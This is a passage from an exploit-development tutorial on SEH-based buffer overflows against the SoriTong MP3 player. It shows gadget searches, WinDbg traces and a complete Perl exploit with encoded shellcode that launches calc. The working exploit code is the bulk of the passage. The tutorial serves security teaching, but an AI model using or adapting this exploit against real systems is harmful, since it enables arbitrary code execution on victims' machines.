71ab0000 71ac7000   C:\\WINDOWS\\system32\\WS2_32.dll\nModLoad: 71aa0000 71aa8000   C:\\WINDOWS\\system32\\WS2HELP.dll\nModLoad: 76eb0000 76edf000   C:\\WINDOWS\\system32\\TAPI32.dll\nModLoad: 76e80000 76e8e000   C:\\WINDOWS\\system32\\rtutils.dll<\/pre>\n<\/div>\n<p>We are specifially interested in application specific dll\u2019s, so let\u2019s find a pop pop ret in that dll. Using findjmp.exe, we can look into that dll and look for pop pop ret sequences (e.g. look for pop edi)<\/p>\n<p>Any of the following addresses should do, as long as it does not contain null bytes<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">C:\\Program Files\\SoriTong&gt;c:\\findjmp\\findjmp.exe Player.dll edi | grep pop | grep -v <span style=\"color: #006080\">&quot;000&quot;<\/span>\n0x100104F8      pop edi - pop - retbis\n0x100106FB      pop edi - pop - ret\n0x1001074F      pop edi - pop - retbis\n0x10010CAB      pop edi - pop - ret\n0x100116FD      pop edi - pop - ret\n0x1001263D      pop edi - pop - ret\n0x100127F8      pop edi - pop - ret\n0x1001281F      pop edi - pop - ret\n0x10012984      pop edi - pop - ret\n0x10012DDD      pop edi - pop - ret\n0x10012E17      pop edi - pop - ret\n0x10012E5E      pop edi - pop - ret\n0x10012E70      pop edi - pop - ret\n0x10012F56      pop edi - pop - ret\n0x100133B2      pop edi - pop - ret\n0x10013878      pop edi - pop - ret\n0x100138F7      pop edi - pop - ret\n0x10014448      pop edi - pop - ret\n0x10014475      pop edi - pop - ret\n0x10014499      pop edi - pop - ret\n0x100144BF      pop edi - pop - ret\n0x10016D8C      pop edi - pop - ret\n0x100173BB      pop edi - pop - ret\n0x100173C2      pop edi - pop - ret\n0x100173C9      pop edi - pop - ret\n0x1001824C      pop edi - pop - ret\n0x10018290      pop edi - pop - ret\n0x1001829B      pop edi - pop - ret\n0x10018DE8      pop edi - pop - ret\n0x10018FE7      pop edi - pop - ret\n0x10019267      pop edi - pop - ret\n0x100192EE      pop edi - pop - ret\n0x1001930F      pop edi - pop - ret\n0x100193BD      pop edi - pop - ret\n0x100193C8      pop edi - pop - ret\n0x100193FF      pop edi - pop - ret\n0x1001941F      pop edi - pop - ret\n0x1001947D      pop edi - pop - ret\n0x100194CD      pop edi - pop - ret\n0x100194D2      pop edi - pop - ret\n0x1001B7E9      pop edi - pop - ret\n0x1001B883      pop edi - pop - ret\n0x1001BDBA      pop edi - pop - ret\n0x1001BDDC      pop edi - pop - ret\n0x1001BE3C      pop edi - pop - ret\n0x1001D86D      pop edi - pop - ret\n0x1001D8F5      pop edi - pop - ret\n0x1001E0C7      pop edi - pop - ret\n0x1001E812      pop edi - pop - ret<\/pre>\n<\/div>\n<p>Let\u2019s say we will use 0x1008de8, which corresponds with<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; u 10018de8\nPlayer!Player_Action+0x9528:\n10018de8 5f              pop     edi\n10018de9 5e              pop     esi\n10018dea c3              ret<\/pre>\n<\/div>\n<p>(You should be able to use any of the addresses)<\/p>\n<blockquote>\n<p>Note : as you can see above, findjmp requires you to specify a register.&#160; It may be easier to use msfpescan from Metasploit (simply run msfpescan against the dll, with parameter -p (look for pop pop ret) and output everything to file. msfpescan does not require you to specify a register, it will simply get all combinations\u2026 Then open the file &amp; you\u2019ll see all address. Alternatively you can use memdump to dump all process memory to a folder, and then use msfpescan -M &lt;folder&gt; -p&#160;&#160; to look for all pop pop ret combinations from memory.<\/p>\n<\/blockquote>\n<p>The exploit payload must look like this<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">[584 characters][0xeb,0x06,0x90,0x90][0x10018de8][NOPs][Shellcode]\n  junk               next SEH         current SEH<\/pre>\n<\/div>\n<p>In fact, most typical SEH exploits will look like this :<\/p>\n<table cellspacing=\"0\" cellpadding=\"1\" width=\"568\" border=\"1\">\n<tbody>\n<tr>\n<td valign=\"top\" width=\"100\">Buffer padding<\/td>\n<td valign=\"top\" width=\"147\">short jump to stage 2<\/td>\n<td valign=\"top\" width=\"167\">pop\/pop\/ret address<\/td>\n<td valign=\"top\" width=\"152\">stage 2 (shellcode)<\/td>\n<\/tr>\n<tr>\n<td valign=\"top\" width=\"100\">Buffer<\/td>\n<td valign=\"top\" width=\"147\">next SEH<\/td>\n<td valign=\"top\" width=\"167\">SEH<\/td>\n<td valign=\"top\" width=\"152\">&#160;<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In order to locate the shellcode (which *should* be right after SEH), you can replace the 4 bytes at \u201cnext SEH\u201d with breakpoints. That will allow you to inspect the registers. An example :<\/p>\n<div id=\"codeSnippetWrapper\">\n<pre id=\"codeSnippet\" style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; direction: ltr; text-align: left; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">my $junk = <span style=\"color: #006080\">&quot;A&quot;<\/span> x 584;\n\nmy $nextSEHoverwrite = <span style=\"color: #006080\">&quot;\\xcc\\xcc\\xcc\\xcc&quot;<\/span>;  #breakpoint\n\nmy $SEHoverwrite = pack(<span style=\"color: #006080\">'V'<\/span>,0x1001E812); #pop pop ret from player.dll\n\nmy $shellcode = <span style=\"color: #006080\">&quot;1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM&quot;<\/span>;\n\nmy $junk2   = <span style=\"color: #006080\">&quot;\\x90&quot;<\/span> x 1000;\n\nopen(myfile,<span style=\"color: #006080\">'&gt;ui.txt'<\/span>);\n\nprint myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;<\/pre>\n<\/div>\n<pre class=\"csharpcode\">(e1c.fbc): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e504 edi=0012fd64\neip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei ng nz ac pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296\n*** WARNING: Unable to verify checksum <span class=\"kwrd\">for<\/span> SoriTong.exe\n*** ERROR: Symbol file could not be found.  Defaulted to export symbols <span class=\"kwrd\">for<\/span> SoriTong.exe -\nSoriTong!TmC13_5+0x3ea3:\n00422e33 8810            mov     <span class=\"kwrd\">byte<\/span> ptr [eax],dl          ds:0023:00130000=41<\/pre>\n<pre class=\"csharpcode\">0:000&gt; g\n(e1c.fbc): Break instruction exception - code 80000003 (first chance)\neax=00000000 ebx=00000000 ecx=1001e812 edx=7c9032bc esi=0012d72c edi=7c9032a8\neip=0012fd64 esp=0012d650 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n&lt;Unloaded_ud.drv&gt;+0x12fd63:\n0012fd64 cc              <span class=\"kwrd\">int<\/span>     3<\/pre>\n<p>So, after passing on the first exception to the application, the application has stopped because of the breakpoints at nSEH.<\/p>\n<p>EIP currently points at the first byte at nSEH, so you should be able to see the shellcode about 8 bytes&#160; (4 bytes for nSEH, and 4 bytes for SEH) further down :<\/p>\n<pre class=\"csharpcode\">0:000&gt; d eip\n0012fd64  cc cc cc cc 12 e8 01 10-<span style=\"color: #ff0000\">31<\/span> <span style=\"color: #ff0000\">41 42 43 44 45 46 47<\/span>  ........1ABCDEFG\n0012fd74  <span style=\"color: #ff0000\">48 49 4a 4b 4c 4d 32 41-42 43 44 45 46 47 48 49<\/span>  HIJKLM2ABCDEFGHI\n0012fd84  <span style=\"color: #ff0000\">4a 4b 4c 4d 33 41 42 43-44 45 46 47 48 49 4a 4b<\/span>  JKLM3ABCDEFGHIJK\n0012fd94  <span style=\"color: #ff0000\">4c 4d<\/span> 90 90 90 90 90 90-90 90 90 90 90 90 90 90  LM..............\n0012fda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012fdb4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012fdc4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012fdd4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................<\/pre>\n<p>Perfect, the shellcode is visible and starts exactly where we had expected.&#160;&#160; I have used a short string to test the shellcode, it may be a good idea to use a longer string (just to verify that there are no \u201choles\u201d in the shellcode anywhere).&#160; If the shellcode starts at an offset of where it should start, then you\u2019ll need to modify the jumpcode (at nSEH) so it would jump further.<\/p>\n<p>Now we are ready to build the exploit with real shellcode (and replace the breakpoints at nSEH again with the jumpcode)<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\"># Exploit <span style=\"color: #0000ff\">for<\/span> Soritong MP3 player\n#\n# Written by Peter Van Eeckhoutte\n# http:<span style=\"color: #008000\">\/\/www.corelan.be<\/span>\n#\n#\n\nmy $junk = <span style=\"color: #006080\">&quot;A&quot;<\/span> x 584;\n\nmy $nextSEHoverwrite = <span style=\"color: #006080\">&quot;\\xeb\\x06\\x90\\x90&quot;<\/span>;  #jump 6 bytes\n\nmy $SEHoverwrite = pack(<span style=\"color: #006080\">'V'<\/span>,0x1001E812); #pop pop ret from player.dll\n\n# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http:<span style=\"color: #008000\">\/\/metasploit.com<\/span>\nmy $shellcode =\n<span style=\"color: #006080\">&quot;\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x44&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x38\\x45\\x54\\x4e\\x33\\x4b\\x58\\x4e\\x37&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x45\\x50\\x4a\\x47\\x41\\x30\\x4f\\x4e\\x4b\\x38\\x4f\\x44\\x4a\\x41\\x4b\\x48&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4f\\x35\\x42\\x32\\x41\\x50\\x4b\\x4e\\x49\\x34\\x4b\\x38\\x46\\x43\\x4b\\x48&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x41\\x30\\x50\\x4e\\x41\\x43\\x42\\x4c\\x49\\x39\\x4e\\x4a\\x46\\x48\\x42\\x4c&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x46\\x37\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x50\\x41\\x30\\x44\\x4c\\x4b\\x4e&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x46\\x4f\\x4b\\x43\\x46\\x35\\x46\\x42\\x46\\x30\\x45\\x47\\x45\\x4e\\x4b\\x48&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4f\\x35\\x46\\x42\\x41\\x50\\x4b\\x4e\\x48\\x46\\x4b\\x58\\x4e\\x30\\x4b\\x54&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4b\\x58\\x4f\\x55\\x4e\\x31\\x41\\x50\\x4b\\x4e\\x4b\\x58\\x4e\\x31\\x4b\\x48&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x41\\x30\\x4b\\x4e\\x49\\x38\\x4e\\x45\\x46\\x52\\x46\\x30\\x43\\x4c\\x41\\x43&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x42\\x4c\\x46\\x46\\x4b\\x48\\x42\\x54\\x42\\x53\\x45\\x38\\x42\\x4c\\x4a\\x57&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4e\\x30\\x4b\\x48\\x42\\x54\\x4e\\x30\\x4b\\x48\\x42\\x37\\x4e\\x51\\x4d\\x4a&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4b\\x58\\x4a\\x56\\x4a\\x50\\x4b\\x4e\\x49\\x30\\x4b\\x38\\x42\\x38\\x42\\x4b&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x42\\x50\\x42\\x30\\x42\\x50\\x4b\\x58\\x4a\\x46\\x4e\\x43\\x4f\\x35\\x41\\x53&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x48\\x4f\\x42\\x56\\x48\\x45\\x49\\x38\\x4a\\x4f\\x43\\x48\\x42\\x4c\\x4b\\x37&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x42\\x35\\x4a\\x46\\x42\\x4f\\x4c\\x48\\x46\\x50\\x4f\\x45\\x4a\\x46\\x4a\\x49&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x50\\x4f\\x4c\\x58\\x50\\x30\\x47\\x45\\x4f\\x4f\\x47\\x4e\\x43\\x36\\x41\\x46&quot;<\/span>.\n<span style=\"color: #006080\">&quot;\\x4e\\x36\\x43\\x46\\x42\\x50\\x5a&quot;<\/span>;\n\nmy $junk2   = <span style=\"color: #006080\">&quot;\\x90&quot;<\/span> x 1000;\n\nopen(myfile,<span style=\"color: #006080\">'&gt;ui.txt'<\/span>);\n\nprint myfile $junk.$nextSEHoverwrite.$SEHoverwrite.$shellcode.$junk2;<\/pre>\n<\/div>\n<p>Create the ui.txt file and open soritong.exe directly (not from the debugger this time)<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/07\/image42.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/07\/image_thumb42.png\" width=\"135\" height=\"132\" \/><\/a><\/p>\n<p>pwned !<\/p>\n<p>Now let\u2019s see what happened under the hood.&#160; Put a breakpoint at the beginning of the shellcode and run the soritong.exe application from windbg again :<\/p>\n<p>First chance exception :<\/p>\n<p>The stack (ESP) points at 0x0012da14<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">eax=00130000 ebx=00000003 ecx=ffffff90 edx=00000090 esi=0017e4ec edi=0012fd64\neip=00422e33 esp=0012da14 ebp=0012fd38 iopl=0         nv up ei ng nz ac pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010296<\/pre>\n<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; !exchain\n0012fd64: *** WARNING: Unable to verify checksum <span style=\"color: #0000ff\">for<\/span> C:\\Program Files\\SoriTong\\Player.dll\n*** ERROR: Symbol file could not be found.  Defaulted to export symbols <span style=\"color: #0000ff\">for<\/span> C:\\Program Files\\SoriTong\\Player.dll -\nPlayer!Player_Action+9528 (10018de8)\nInvalid exception stack at 909006eb<\/pre>\n<\/div>\n<p>=&gt; EH Handler points at 10018de8 (which is the pop pop ret). When we allow the application to run again, the pop pop ret will execute and will trigger another exception.<\/p>\n<p>When that happens, the \u201cBE 06 90 90\u201d code will be executed (the next SEH) and EIP will point at 0012fd6c, which is our shellcode :<\/p>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; g\n(f0c.b80): Break instruction exception - code 80000003 (first chance)\neax=00000000 ebx=00000000 ecx=10018de8 edx=7c9032bc esi=0012d72c edi=7c9032a8\neip=0012fd6c esp=0012d650 ebp=0012d664 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n&lt;Unloaded_ud.drv&gt;+0x12fd6b:\n0012fd6c cc              <span style=\"color: #0000ff\">int<\/span>     3<\/pre>\n<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; u 0012fd64\n&lt;Unloaded_ud.drv&gt;+0x12fd63:\n0012fd64 eb06            jmp     &lt;Unloaded_ud.drv&gt;+0x12fd6b (<strong><span style=\"color: #ff0000\">0012fd6c<\/span><\/strong>)\n0012fd66 90              nop\n0012fd67 90              nop<\/pre>\n<\/div>\n<div>\n<pre style=\"border-top-style: none; overflow: visible; font-size: 8pt; font-family: consolas, &quot;Courier New&quot;, courier, monospace; width: 100%; border-bottom-style: none; color: black; padding-bottom: 0px; padding-top: 0px; border-right-style: none; padding-left: 0px; margin: 0em; border-left-style: none; line-height: 12pt; padding-right: 0px; background-color: #f4f4f4\">0:000&gt; d 0012fd60\n0012fd60  <strong><span style=\"color: #0000ff\">41 41 41 41 <\/span><span style=\"color: #008000\">eb 06 90 90<\/span><\/strong>-<strong><span style=\"color: #800080\">e8 8d 01 10<\/span><\/strong> <strong>cc eb 03 59<\/strong>  AAAA...........Y\n0012fd70  eb 05 e8 f8 ff ff ff 4f-49 49 49 49 49 49 51 5a  .......OIIIIIIQZ\n0012fd80  56 54 58 36 33 30 56 58-34 41 30 42 36 48 48 30  VTX630VX4A0B6HH0\n0012fd90  42 33 30 42 43 56 58 32-42 44 42 48 34 41 32 41  B30BCVX2BDBH4A2A\n0012fda0  44 30 41 44 54 42 44 51-42 30 41 44 41 56 58 34  D0ADTBDQB0ADAVX4\n0012fdb0  5a 38 42 44 4a 4f 4d 4e-4f 4a 4e 46 44 42 30 42  Z8BDJOMNOJNFDB0B\n0012fdc0  50 42 30 4b 38 45 54 4e-33 4b 58 4e 37 45 50 4a  PB0K8ETN3KXN7EPJ\n0012fdd0  47 41 30 4f 4e 4b 38 4f-44 4a 41 4b 48 4f 35 42  GA0ONK8ODJAKHO5B<\/pre>\n<\/div>\n<ul>\n<li><strong><span style=\"color: #0000ff\">41 41 41 41<\/span><\/strong> : last characters of buffer <\/li>\n<li><strong><span style=\"color: #008000\">eb 06 90 90<\/span><\/strong> : next SEH, do a 6byte jump <\/li>\n<li><strong><span style=\"color: #800080\">e8 8d 01 10<\/span><\/strong> : current SE Handler (pop pop ret, which will trigger the next exception, making the code go to the next SEH pointer and run \u201ceb 06 90 90\u201d) <\/li>\n<li><strong>cc eb 03 59<\/strong> : begin of shellcode (I added a \\xcc which is the breakpoint), at address 0x0012fd6c <\/li>\n<\/ul>\n<p>You can watch the exploit building process in the following video :<\/p>\n<div id=\"scid:53357c8b-5919-4e32-8c25-305d27c17a37:802b6b6a-0e67-4417-a38e-137b3e8c3a26\" class=\"wlWriterSmartContent\" style=\"float: none; padding-bottom: 0px; padding-top: 0px; padding-left: 0px; margin: 0px; display: inline; padding-right: 0px\"><a href=\"http:\/\/www.youtube.com\/watch?v=FYmfYOOrQ00\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" border=\"0\" src=\"\/wp-content\/uploads\/2009\/07\/videocaptureFYmfYOOrQ00.png\" \/><\/a> <\/p>\n<p><a href=\"http:\/\/www.youtube.com\/watch?v=FYmfYOOrQ00\" target=\"_blank\" rel=\"noopener\">YouTube - Exploiting Soritong MP3 Player (SEH) on Windows XP SP3<\/a><\/p>\n<\/div>\n<p>You can view\/visit my playlist (with this and future exploit writing video\u2019s) at <strong><a href=\"http:\/\/www.youtube.com\/view_play_list?p=0E2E3562EB2A5ED3\">Writing Exploits<\/a><\/strong><\/p>\n<h3>Finding pop pop ret (and other usable instructions) via memdump<\/h3>\n<p>In this (and previous exploit writing tutorial articles), we have looked at 2 ways to find certain instructions in dll\u2019s, .exe files or drivers\u2026 : using a search in memory via windbg, or by using findjmp. There is a third way to find usable instructions : using memdump.<\/p>\n<p>Metasploit (for Linux) has a utility called memdump.exe (somewhere hidden in the tools folder). So if you have installed metasploit on a windows machine (inside cygwin), then you can start using it right away<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/08\/image1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/08\/image_thumb1.png\" width=\"398\" height=\"150\" \/><\/a><\/p>\n<p>First, launch the application that you are trying to exploit (without debugger). Then find the process ID for this application.<\/p>\n<p>Create a folder on your harddrive and then run<\/p>\n<pre class=\"csharpcode\">memdump.exe processID c:\\foldername<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Example :<\/p>\n<pre class=\"csharpcode\">memdump.exe 3524 c:\\cygwin\\home\\peter\\memdump\n[*] Creating dump directory...c:\\cygwin\\home\\peter\\memdump\n[*] Attaching to 3524...\n[*] Dumping segments...\n[*] Dump completed successfully, 112 segments.<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Now, from a cygwin command line, run msfpescan (can be found directly under in the metasploit folder) and pipe the output to a text file<\/p>\n<pre class=\"csharpcode\">peter@xptest2 ~\/framework-3.2\n$ .\/msfpescan -p -M \/home\/peter\/memdump &gt; \/home\/peter\/scanresults.txt<\/pre>\n<p><!--.csharpcode, .csharpcode pre { \tfont-size: small; \tcolor: black; \tfont-family: consolas, \"Courier New\", courier, monospace; \tbackground-color: #ffffff; \t\/*white-space: pre;*\/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt  { \tbackground-color: #f4f4f4; \twidth: 100%; \tmargin: 0em; } .csharpcode .lnum { color: #606060; } --><\/p>\n<p>Open the txt file, and you will get all interesting instructions.<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/08\/image2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/08\/image_thumb2.png\" width=\"436\" height=\"264\" \/><\/a><\/p>\n<p>All that is left is find an address without null bytes, that is contained in one of the dll\u2019s that use not \/SafeSEH compiled.&#160; So instead of having to build opcode for pop pop ret combinations and looking in memory, you can just dump memory and list all pop pop ret combinations at once.&#160; Saves you some time \ud83d\ude42<\/p>\n<blockquote>\n<div>Questions ? Comments ? Tips &amp; Tricks ?&#160; <a title=\"http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\" href=\"http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits\">http:\/\/www.corelan.be\/index.php\/forum\/writing-exploits<\/a><\/div>\n<\/blockquote>\n<h3>Some interesting debugger links<\/h3>\n<div><a href=\"http:\/\/www.ollydbg.de\" target=\"_blank\" rel=\"noopener\">Ollydbg<\/a><\/div>\n<div><a href=\"http:\/\/www.openrce.org\/downloads\/details\/244\/OllySSEH\" target=\"_blank\" rel=\"noopener\">OllySSEH module<\/a><\/div>\n<div><a href=\"http:\/\/www.openrce.org\/downloads\/browse\/OllyDbg_Plugins\" target=\"_blank\" rel=\"noopener\">Ollydbg plugins<\/a><\/div>\n<div><a href=\"http:\/\/www.microsoft.com\/whdc\/devtools\/debugging\/\" target=\"_blank\" rel=\"noopener\">Windbg<\/a><\/div>\n<div><a href=\"http:\/\/msecdbg.codeplex.com\/\" target=\"_blank\" rel=\"noopener\">Windbg !exploitable module<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>In the first 2 parts of the exploit writing tutorial series, I have discussed how a classic stack buffer overflow works and how you can build a reliable exploit by using various techniques to jump to the shellcode.&#160; The example we have used allowed us to directly overwrite EIP and we had a pretty large &hellip; <a href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> \"Exploit writing tutorial part 3 : SEH Based Exploits\"<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[244,245,127],"tags":[3741,3733,3645,2128,1865,1853,1851,1836,1834,1828,285],"class_list":["post-2153","post","type-post","status-publish","format-standard","hentry","category-exploit-writing-tutorials","category-exploits","category-security","tag-exploit-development","tag-exploit-development-tutorial","tag-exception-handling","tag-immunity-debugger","tag-seh","tag-dep","tag-exploitable","tag-stack","tag-shellcode","tag-overflow","tag-windbg"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | Exploit Development &amp; Vulnerability Research<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.corelan.be\/index.php\/2009\/07\/25\/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Exploit writing tutorial part 3 : SEH Based Exploits - Corelan | 